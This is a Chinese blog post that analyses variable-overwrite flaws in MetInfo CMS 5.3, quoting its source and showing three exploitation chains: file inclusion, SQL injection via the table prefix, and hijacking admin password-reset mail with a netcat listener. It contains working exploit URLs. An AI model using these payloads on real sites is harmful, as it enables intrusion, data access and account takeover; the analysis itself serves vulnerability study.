metinfo_5.3变量覆盖引发的一系列问题
metinfo_5.3中存在一个很经典的$$型变量覆盖,这种变量覆盖在之前的博客中提到过,今天的博客围绕这个变量覆盖漏洞结合这款CMS的其他功能进行漏洞利用。
变量覆盖+文件包含
拿到这个CMS首先还是浏览一下目录结构,简单浏览之后进入/index.php,其中
$index="index";
require_once 'include/common.inc.php';
require_once 'include/head.php';
这里出现了require_once函数,可能会出现文件包含漏洞,于是跟读include/commen.inc.php,里面有一段代码
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
这一段就是经典的$$引发的变量覆盖案例,使用$_request来获取用户请求的信息。截止到目前我们发现了/index.php疑似文件包含漏洞、/include/commen.inc.php疑似变量覆盖漏洞,但是二者还没有办法结合利用,无奈之下使用了seay的自动检测功能,检测结果的第一条为/index.php的疑似文件包含,第二条是about/index.php的疑似文件包含,跟读/about/index.php寻找突破点:
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
这里使用了require_once函数包含了/include/module.php文件,继续跟读,这个文件的开头为:
<?php
if(!defined('IN_MET'))require_once 'common.inc.php';
$modulefname[1] = array(0=>'show.php',1=>'show.php',2=>$met_column);
$modulefname[2] = array(0=>'news.php',1=>'shownews.php',2=>$met_news);
$modulefname[3] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[4] = array(0=>'download.php',1=>'showdownload.php',2=>$met_download);
$modulefname[5] = array(0=>'img.php',1=>'showimg.php',2=>$met_img);
$modulefname[6] = array(0=>'job.php',1=>'showjob.php',2=>$met_job);
$modulefname[8] = array(0=>'feedback.php',1=>'feedback.php',2=>$met_column);
$modulefname[100] = array(0=>'product.php',1=>'showproduct.php',2=>$met_product);
$modulefname[101] = array(0=>'img.php',1=>'imgproduct.php',2=>$met_img);
可以发现这个文件又包含了common.inc.php文件。理顺一下,/about/index.php包含了/include/module.php,/include/module.php又包含了/include/common.inc.php,/include/common.inc.php存在变量覆盖漏洞。这样我们就知道切入点是/about/index.php文件了,这个文件的有效代码只有四行,却出现了两个未知变量:$module,$fmodule。我们可以用$fmodule变量通过两次文件包含,使用$_request来获取GET传递的新$fmodule值实现变量覆盖。
为了实现上述思路,我们回到/include/module.php找$module和$fmodule的关系:
$module='';
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
根据上面程序的逻辑,我们可以发现当$fmodule不为7时,不覆盖;当$fmodule为7时,变量覆盖。到此已经确定了变量覆盖的存在,可以结合文件包含漏洞进行利用,在/upload中上传phpinfo,payload:
http://127.0.0.1/metinfo-5.3/about/?fmodule=7&module=../upload/phpinfo.php
变量覆盖+SQL注入
问题还是出现在include/commen.inc.php中:
if(@file_exists('../app/app/shop/include/product.class.php') && @$cmodule){
require_once '../app/app/shop/include/product.class.php';
if($gotonew == 1){
@define('M_NAME', 'shop');
@define('M_MODULE', 'web');
@define('M_CLASS', @$cmodule);
@define('M_ACTION', 'doindex');
require_once '../app/system/entrance.php';
die();
}
}
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
$HeaderTime=time();
define('ROOTPATH', substr(dirname(__FILE__), 0, -7));
PHP_VERSION >= '5.1' && date_default_timezone_set('Asia/Shanghai');
session_cache_limiter('private, must-revalidate');
@ini_set('session.auto_start',0);
if(PHP_VERSION < '4.1.0') {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
require_once ROOTPATH.'include/mysql_class.php';
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS']) && exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
$_M['form'][$_key] = daddslashes($_value,0,0,1);
}
}
$met_cookie=array();
$settings=array();
$db_settings=array();
$db_settings = parse_ini_file(ROOTPATH.'config/config_db.php');
@extract($db_settings);
$db = new dbmysql();
$db->dbconn($con_db_host,$con_db_id,$con_db_pass,$con_db_name);
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
$mettable=$db->get_one($query);
$mettables=explode('|',$mettable[value]);
foreach($mettables as $key=>$val){
$tablename='met_'.$val;
$$tablename=$tablepre.$val;
$_M['table'][$val] = $tablepre.$val;
}
32-35行依然是变量覆盖漏洞的核心,在这之前出现的变量都有可能会被覆盖。第45行出现一个带有$tablepre变量的SQL语句:
$query="select * from {$tablepre}config where name='met_tablename' and lang='metinfo'";
如果能把tablepre覆盖掉那就可以实现SQL注入,例如我们构造一个payload:
http://127.0.0.1/metinfo-5.3/include/common.inc.php?tablepre=mysql.user limit 1 #
SQL语句就变成了:
$query="select * from mysql.user limit 1 # config where name='met_tablename' and lang='metinfo'";
从而实现了SQL注入(虽然没有回显)。
变量覆盖+管理员密码修改
这个变量覆盖漏洞出现在admin/admin/getpassword.php,下面贴一大堆代码:
switch($action){
case 'next1':
if($abt_type==1){
$description=$lang_password2;
$title=$lang_password3;
}else{
$description=$lang_password4;
$title=$lang_password5;
}
break;
case 'next2':
if($abt_type==1){
die();
if($met_smspass){
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
if($admin_list && $admin_list['admin_mobile']=='')okinfo('../admin/getpassword.php',$lang_password6);
if(!$admin_list){
if(!preg_match("/^((\(\d{2,3}\))|(\d{3}\-))?1(3|5|8|9)\d{9}$/",$admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_mobile='$admin_mobile' and usertype='3'");
if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password8);
}
$code=generate_password(6);
$nber=generate_password(2);
$cnde=$code.'-'.$nber.'-'.$admin_list['admin_id'];
/*发送短信*/
require_once ROOTPATH.'include/export.func.php';
$domain = strdomain($met_weburl);
$message="$lang_password9{$code}$lang_password10{$nber}[{$domain}]";
$smsok=sendsms($admin_list['admin_mobile'],$message,5);
if($smsok=='SUCCESS'){
$mobile = substr($admin_list['admin_mobile'],0,3).'****'.substr($admin_list['admin_mobile'],7,10);
$description=$lang_password11.'<br/><span class="color999">'.$lang_password12.'</span>';
$query = "delete from $met_otherinfo where lang = 'met_cnde'";
$db->query($query);
/*写入数据库*/
$query = "INSERT INTO $met_otherinfo SET
authpass = '$cnde',
lang = 'met_cnde'";
$db->query($query);
}else{
okinfo('getpassword.php',sedsmserrtype($smsok));
}
}else{
okinfo('getpassword.php',$lang_password13);
}
}else{
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");
if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14);
if(!$admin_list){
if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);
$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'");
if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14);
}
if($admin_list){
$met_fd_usename=$met_fd_usename;
$met_fd_fromname=$met_fd_fromname;
$met_fd_password=$met_fd_password;
$met_fd_smtp=$met_fd_smtp;
$met_webname=$met_webname;
$met_weburl=$met_weburl;
$adminfile=$url_array[count($url_array)-2];
$from=$met_fd_usename;
$fromname=$met_fd_fromname;
$to=$admin_list['admin_email'];
$usename=$met_fd_usename;
$usepassword=$met_fd_password;
$smtp=$met_fd_smtp;
$title=$met_webname.$lang_getNotice;
$x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]);
$outime=3600*24*3;
$String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime);
$String=urlencode($String);
$mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String;
$body ="<style type='text/css'>\n";
$body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}\n";
$body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}\n";
$body .="#metinfo .logo img{ border:none;}\n";
$body .="#metinfo .logo a{ display:block;}\n";
$body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}\n";
$body .="#metinfo .text p{ margin-bottom:5px;}\n";
$body .="#metinfo .text a{ color:#70940E;}\n";
$body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}\n";
$body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }\n";
$body .="#metinfo .copy a:hover{ text-decoration:underline; }\n";
$body .="#metinfo .copy b{ font-weight:normal; }\n";
$body .="</style>\n";
$body .="<div id='metinfo'>\n";
if($met_agents_type<=1){
$body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>";
}
$body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>";
$body .="<p><a href='$mailurl'>$mailurl</a></p>\n";
if($met_agents_type<=1){
$body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>";
}
require_once ROOTPATH.'include/jmail.php';
$sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);
if($sendMail==0){
require_once ROOTPATH.'include/export.func.php';
$post=array('to'=>$to,'title'=>$title,'body'=>$body);
$met_file='/passwordmail.php';
$sendMail=curl_post($post,30);
if($sendMail=='nohost')$sendMail=0;
} $text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;
okinfo('../index.php',$text);
}
}
这段代码开头的switch语句是找回密码的逻辑控制,其中next1为找回密码的方式,默认值是邮件找回,然后进行next2,在第97行利用jmailsend函数执行了发送邮件的操作,如果执行失败则用102行的curl_post函数发送邮件,我们跟读一下这个函数,该函数位于/include/export.func.php。
function curl_post($post,$timeout){
global $met_weburl,$met_host,$met_file;
$host=$met_host;
$file=$met_file;
if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){
$curlHandle=curl_init();
curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file);
curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);
curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);
curl_setopt($curlHandle,CURLOPT_POST, 1);
curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);
$result=curl_exec($curlHandle);
curl_close($curlHandle);
}
其中$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn。结合上一段程序理顺一下思路:当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。很明显$met_host可以导致变量覆盖,如果jmailsend函数发送失败,那变量覆盖漏洞就会被激活,可以将密码重置邮件的内容发送到我们指定的服务器。所以接下来我们的任务是让jmailsend函数失效,跟读这个函数,该函数位于/include/jmail.php中:
function jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp,$repto,$repname)
{
global $met_fd_port,$met_fd_way;
$mail = new PHPMailer();
//$mail->SMTPDebug = 3; $mail->CharSet = "UTF-8"; // charset
$mail->Encoding = "base64";
$mail->Timeout = 15;
$mail->IsSMTP(); // telling the class to use SMTP //system
if(stripos($smtp,'.gmail.com')===false){
$mail->Port = $met_fd_port;
$mail->Host = $smtp; // SMTP server
if($met_fd_way=='ssl'){
$mail->SMTPSecure = "ssl";
}else{
$mail->SMTPSecure = "";
}
}
……
……
……
if(!$mail->Send()) {
$mail->SmtpClose();
//return "Mailer Error: " . $mail->ErrorInfo;
return false;
} else {
$mail->SmtpClose();
//return "Message sent!";
return true;
}
}
}
我们的目的是让这个函数返回值为false,第13行开始可以看出根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。所以我们的漏洞利用思路已经明确:1.利用变量覆盖修改指定发送邮件的端口;2.利用变量覆盖修改服务器ip。
我们先在服务器上监听80端口
nc -lv 80
然后抓包构造payload即可获取邮件。
最新文章
- 编程轶事-java中的null-遁地龙卷风
- 解决一则enq: TX – row lock contention的性能故障
- Class.forName()的作用
- prism4 StockTrader RI 项目分析一些体会
- 从体系架构上分析PRINCE2和pmp的区别
- 在Linux下安装和使用MySQL
- django model 中class meta
- Windows下DLL查找顺序
- css三级下拉的导航栏
- Linux 客户端 下乱码的解决方法
- Java 单例总结
- Shell脚本运行hive语句 | hive以日期建立分区表 | linux schedule程序 | sed替换文件字符串 | shell推断hdfs文件文件夹是否存在
- ";UBUNTU: SAUCE: apparmor: 3.0 backport of apparmor3";
- RTL-SDR简单介绍
- axure 动态面板制作图片轮播 (01图片轮播)
- Java 9 揭秘(14. HTTP/2 Client API)
- Ionic3学习笔记(四)修改返回按钮文字、颜色
- time_wait的快速回收和重用
- puppetdb搭建
- Golang &; GitLab-CI 详细实例步骤